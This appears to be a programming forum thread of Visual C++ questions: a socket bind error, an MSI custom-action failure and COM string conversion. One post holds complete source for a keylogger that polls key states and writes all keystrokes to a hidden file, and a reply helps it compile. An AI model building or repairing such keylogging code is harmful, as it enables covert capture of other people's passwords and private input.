|
Dear Sir,
I have maintained two threads for both Client and Server. I mean I created a Thread in Button Click events of both Server & Client, There i have created a socket connection.
So it is giving that error. Any problem in doing that.
ie..
----
in Server Side
------------------
In Button Click Event of the Dialog, I created a Thread and inside the Thread i have written the Above Procedure to Connect the Thread and Bind. First time it is ok. But Second time Bind is been failed.
what is the wrong with the Code. Please help me out.
Thanks & Regards,
Uday.
|
|
|
|
|
Dear Uday,
any thread function (for an one client solution) may have
- a beginning part (server: create/bind/listen/accept , client: create/connect )
- a loop part (server & client: recv/send )
- an ending part (server & client: close )
So you have the only one call for bind Check your definition of Irrationality[ ^]
1 - Avicenna
5 - Hubbard
3 - Own definition
|
|
|
|
|
Dear Sir,
Now i Got It Thank You Very Much.
Thanks & Regards,
Uday.
|
|
|
|
|
I am trying to implement KeyLogger in our application. It give me following errors -
'GetWindowsDirectory': identifier not found and 'GetAsyncKeyState': identifier not found.
I have already included the header files which are needed for these functions.
Can anyone tell what I am doing wrong.
I am using using following code -
#include "Windows.h"
#include "WinUser.h"
#include "stdafx.h"
#include <iostream>;
#include <fstream>;
#include <stdio.h>;
void keys(int key,char *file)
{
FILE *key_file;
key_file = fopen(file,"a+");
if (key==8)
fprintf(key_file,"%s","[del]");
if (key==13)
fprintf(key_file,"%s","\n");
if (key==32)
fprintf(key_file,"%s"," ");
if (key==VK_CAPITAL)
fprintf(key_file,"%s","[Caps]");
if (key==VK_TAB)
fprintf(key_file,"%s","[TAB]");
if (key ==VK_SHIFT)
fprintf(key_file,"%s","[SHIFT]");
if (key ==VK_CONTROL)
fprintf(key_file,"%s","[CTRL]");
if (key ==VK_PAUSE)
fprintf(key_file,"%s","[PAUSE]");
if (key ==VK_KANA)
fprintf(key_file,"%s","[Kana]");
if (key ==VK_ESCAPE)
fprintf(key_file,"%s","[ESC]");
if (key ==VK_END)
fprintf(key_file,"%s","[END]");
if (key==VK_HOME)
fprintf(key_file,"%s","[HOME]");
if (key ==VK_LEFT)
fprintf(key_file,"%s","[LEFT]");
if (key ==VK_UP)
fprintf(key_file,"%s","[UP]");
if (key ==VK_RIGHT)
fprintf(key_file,"%s","[RIGHT]");
if (key ==VK_DOWN)
fprintf(key_file,"%s","[DOWN]");
if (key ==VK_SNAPSHOT)
fprintf(key_file,"%s","[PRINT]");
if (key ==VK_NUMLOCK)
fprintf(key_file,"%s","[NUM LOCK]");
if (key ==190 || key==110)
fprintf(key_file,"%s",".");
if (key >=96 && key <= 105)
{
key = key - 48;
fprintf(key_file,"%s",&key);
}
if (key >=48 && key <= 59)
fprintf(key_file,"%s",&key);
if (key !=VK_LBUTTON || key !=VK_RBUTTON)
{
if (key >=65 && key <=90)
{
if (GetKeyState(VK_CAPITAL))
fprintf(key_file,"%s",&key);
else
{
key = key +32;
fprintf(key_file,"%s",&key);
}
}
}
fclose(key_file);
}
int _tmain(int argc, _TCHAR* argv[])
{
char i;
char test[1000];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");
while(1)
{
for(i=8;i<=190;i++)
{
if (GetAsyncKeyState(i) == -32767)
{
keys (i,test);
}
}
}
return 0;
}
|
|
|
|
|
|
Those look like compiler generated messages, not linker ones.
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
Try changing the order of include files as follows and check if it works
#include "stdafx.h"
#include "Windows.h"
#include "WinUser.h"
|
|
|
|
|
Hi
I create MSI installer using VS2005 for my application. For adding custom action in MSI installation , I add one exe in Custom action.
When install application using MSI, dialog box in my custom EXE is pop up,
and when I click by mouse on any button on dialogbox(custom.exe), installation done smothly, but when I press "Enter" key instead of mouse click, then one MSI message popup as
"There is a problem with this Windows Installer package. A program run as part of the setup did not finish as expected. Contact your support personnel or package vendor."
anybody know about this error.. please give some hint..
Thanks
aaa
|
|
|
|
|
Check for your app to be topmost or systemmodal so your app gets the enter key.
Or is a bug in the app. Does it run on its own properly?Press F1 for help or google it.
Greetings from Germany
|
|
|
|
|
Can you check if dialog box shown from the custom action is the foreground window.
|
|
|
|
|
I am using Visual C++ V6 and am trying to change the comments property of a file.
I am using the code below but get an error message 0X80030002 - which by using 'Error Lookup' is %1 could not be found.
Can someone explain what I am doing wrong?
I am trying to change the properties of a .txt file
CString text_filename;
text_filename = "c:\\text.txt";
const WCHAR *c = (const WCHAR *)(LPCTSTR)text_filename;
IPropertySetStorage *pPropSetStg = NULL;
IPropertyStorage *pPropStg = NULL;
PROPSPEC propspec;
PROPVARIANT propWrite;
PROPVARIANT propRead;
HRESULT hr = S_OK;
hr = StgOpenStorageEx( c,
STGM_DIRECT|STGM_SHARE_EXCLUSIVE|STGM_READWRITE,
STGFMT_ANY,
// STGFMT_STORAGE //Structured Storage property sets
// STGFMT_FILE //NTFS file system property sets
0,
NULL,
NULL,
IID_IPropertySetStorage,
reinterpret_cast<void**>(&pPropSetStg) );
|
|
|
|
|
If CString is already available for use in your project, why are you using error prone C-Style string?
“Follow your bliss.” – Joseph Campbell
|
|
|
|
|
TheFox wrote: const WCHAR *c = (const WCHAR *)(LPCTSTR)text_filename;
Assuming you're doing a ANSI build (not UNICODE), the above line is wrong. You should convert the ANSI string to a wide character one, for instance using MultiByteToWideChar [^] function (an example of usage here [^]).
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
Thanks for your help.
I got it working.
|
|
|
|
|
You are welcome.
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
|
You are right I am Pi**ing in the wind.
Can you reccomend any books / websites where I can learn COM?
|
|
|
|
|
|
|
KarstenK wrote: CString text_filename = TEXT("c:\\text.txt");
That will not change much, if his project isn't UNICODE.
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
for COM he will need Unicode strings or it will crash. It is the cause of his trouble. Press F1 for help or google it.
Greetings from Germany
|
|
|
|
|
That's true of course.
But still your solution is not valid if the application is a ANSI build (i.e. UNICODE is not defined) and yes, you may use COM with a ANSI built application, provided you explicitely convert strings.
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
CString text_filename = TEXT("c:\\text.txt");
works fines on ANSI and UNICODE.
I prefer buildind Unicode, because COM can be easier used. So my code is Unicode compilable.
I also like the CStringW class for COM in ANSI projects Press F1 for help or google it.
Greetings from Germany
|
|
|
|
|
KarstenK wrote: CString text_filename = TEXT("c:\\text.txt");
works fines on ANSI and UNICODE.
Indeed. But it doesn't automagically convert a ANSI string to a wide char one. That's why I said it wouldn't help him on a ANSI build.
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
If you have a non unicode project
you could take the A2W macro too Check your definition of Irrationality[ ^]
1 - Avicenna
5 - Hubbard
3 - Own definition
|
|
|
|
|